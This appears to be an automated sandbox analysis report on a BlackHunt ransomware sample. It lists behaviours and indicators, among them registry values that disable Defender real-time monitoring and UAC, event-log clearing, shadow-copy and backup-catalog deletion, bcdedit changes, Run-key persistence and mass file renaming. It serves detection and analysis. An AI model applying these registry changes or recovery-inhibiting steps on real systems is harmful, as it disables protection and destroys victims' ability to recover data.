cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022

Data Destruction

T1485

pid	Process
10856	fsutil.exe
10464	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	cmd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	cmd.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
9880	wevtutil.exe
10232	wevtutil.exe
5808	wevtutil.exe
11272	wevtutil.exe
9028	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
6616	bcdedit.exe
10436	bcdedit.exe
11664	bcdedit.exe
6020	bcdedit.exe

Renames multiple (1123) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
13164	wbadmin.exe
13008	wbadmin.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\E:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\Y:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\J:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\V:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\N:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\W:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\I:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\S:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\H:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\L:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\X:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\Z:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\Q:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\R:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\T:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\O:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\P:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\A:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\G:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\B:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\U:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\K:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened (read-only)	\??\M:	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\vlc.mo	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\sendforcomments.svg	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_ReadMe.txt	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\#BlackHunt_ReadMe.hta	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\lua\sd\#BlackHunt_ReadMe.hta	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\fillandsign.svg	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\sendforsignature.svg	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_Private.key	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\nashorn.jar	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\tools.jar	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#BlackHunt_ReadMe.hta	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\#BlackHunt_ReadMe.txt	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\#BlackHunt_Private.key	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\#BlackHunt_ReadMe.txt	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\libpng.md	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\keystore\#BlackHunt_Private.key	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\#BlackHunt_ReadMe.txt	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_ellipses_selected-hover.svg	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_Private.key	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner2x.gif	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_delete_18.svg	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\spu\#BlackHunt_ReadMe.hta	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_email.gif	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\app\dev\libs\#BlackHunt_Private.key	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sq.txt	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\net.properties	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cy\#BlackHunt_ReadMe.hta	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_CN\#BlackHunt_Private.key	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\#BlackHunt_ReadMe.hta	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\adobepdf.xdc	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_same_reviewers.gif	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\apple-touch-icon-72x72-precomposed.png	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\cldrdata.jar	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\jaccess.jar	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_Private.key	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_PT\#BlackHunt_Private.key	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\cef_extensions.pak	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\close_x.png	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_MoveDrop32x32.gif	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Accessibility.api	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\#BlackHunt_ReadMe.hta	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\#BlackHunt_Private.key	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\PDFSigQFormalRep.pdf	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_Private.key	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_ReadMe.txt	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\MSBuild\#BlackHunt_ReadMe.txt	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\#BlackHunt_ReadMe.hta	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\dotnet\#BlackHunt_ReadMe.txt	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\mesa3d.md	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_TW.properties	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\#BlackHunt_ReadMe.hta	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\#BlackHunt_Private.key	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\#BlackHunt_ReadMe.hta	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\#BlackHunt_Private.key	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\create_stream.html	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\reflow.api	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\RHP_icons_2x.png	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\#BlackHunt_Private.key	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\vlc.mo	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\browse_window.html	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\locales\#BlackHunt_ReadMe.txt	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnOffNotificationInAcrobat.gif	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\bcel.md	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
232	11964	WerFault.exe	254

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
11284	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
10732	vssadmin.exe
11244	vssadmin.exe
9316	vssadmin.exe
10924	vssadmin.exe
10908	vssadmin.exe
10380	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
12436	taskkill.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5172	PING.EXE

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
Token: SeRestorePrivilege	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
Token: SeBackupPrivilege	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
Token: SeTakeOwnershipPrivilege	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
Token: SeAuditPrivilege	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
Token: SeSecurityPrivilege	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
Token: SeIncBasePriorityPrivilege	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1144 wrote to memory of 3036	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	185
PID 1144 wrote to memory of 3036	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	185
PID 1144 wrote to memory of 4300	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	183
PID 1144 wrote to memory of 4300	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	183
PID 1144 wrote to memory of 1460	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	182
PID 1144 wrote to memory of 1460	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	182
PID 1144 wrote to memory of 1128	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	181
PID 1144 wrote to memory of 1128	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	181
PID 1144 wrote to memory of 1176	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	180
PID 1144 wrote to memory of 1176	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	180
PID 1144 wrote to memory of 1692	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	179
PID 1144 wrote to memory of 1692	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	179
PID 1144 wrote to memory of 2628	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	176
PID 1144 wrote to memory of 2628	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	176
PID 1144 wrote to memory of 3660	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	175
PID 1144 wrote to memory of 3660	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	175
PID 1144 wrote to memory of 4368	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	174
PID 1144 wrote to memory of 4368	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	174
PID 4300 wrote to memory of 2220	4300	cmd.exe	173
PID 4300 wrote to memory of 2220	4300	cmd.exe	173
PID 1144 wrote to memory of 740	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	57
PID 1144 wrote to memory of 740	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	57
PID 1128 wrote to memory of 1876	1128	cmd.exe	170
PID 1128 wrote to memory of 1876	1128	cmd.exe	170
PID 1144 wrote to memory of 3872	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	168
PID 1144 wrote to memory of 3872	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	168
PID 1144 wrote to memory of 1612	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	58
PID 1144 wrote to memory of 1612	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	58
PID 1144 wrote to memory of 2184	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	166
PID 1144 wrote to memory of 2184	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	166
PID 1144 wrote to memory of 1836	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	164
PID 1144 wrote to memory of 1836	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	164
PID 1144 wrote to memory of 3188	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	163
PID 1144 wrote to memory of 3188	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	163
PID 1144 wrote to memory of 2352	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	162
PID 1144 wrote to memory of 2352	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	162
PID 3036 wrote to memory of 4740	3036	cmd.exe	62
PID 3036 wrote to memory of 4740	3036	cmd.exe	62
PID 1144 wrote to memory of 4720	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	160
PID 1144 wrote to memory of 4720	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	160
PID 1144 wrote to memory of 3528	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	64
PID 1144 wrote to memory of 3528	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	64
PID 1460 wrote to memory of 3904	1460	cmd.exe	157
PID 1460 wrote to memory of 3904	1460	cmd.exe	157
PID 1144 wrote to memory of 60	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	156
PID 1144 wrote to memory of 60	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	156
PID 1144 wrote to memory of 2724	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	154
PID 1144 wrote to memory of 2724	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	154
PID 1144 wrote to memory of 5084	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	65
PID 1144 wrote to memory of 5084	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	65
PID 1144 wrote to memory of 2748	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	151
PID 1144 wrote to memory of 2748	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	151
PID 1144 wrote to memory of 4812	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	149
PID 1144 wrote to memory of 4812	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	149
PID 1144 wrote to memory of 5112	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	147
PID 1144 wrote to memory of 5112	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	147
PID 1144 wrote to memory of 3364	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	145
PID 1144 wrote to memory of 3364	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	145
PID 1144 wrote to memory of 5044	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	143
PID 1144 wrote to memory of 5044	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	143
PID 1176 wrote to memory of 3232	1176	cmd.exe	144
PID 1176 wrote to memory of 3232	1176	cmd.exe	144
PID 1144 wrote to memory of 4700	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	142
PID 1144 wrote to memory of 4700	1144	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe	142

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe

C:\Users\Admin\AppData\Local\Temp\cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe
"C:\Users\Admin\AppData\Local\Temp\cecca40d436cb48722c2be55044822400ccecc1ed2aa4b37005bd5b7608ff022.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
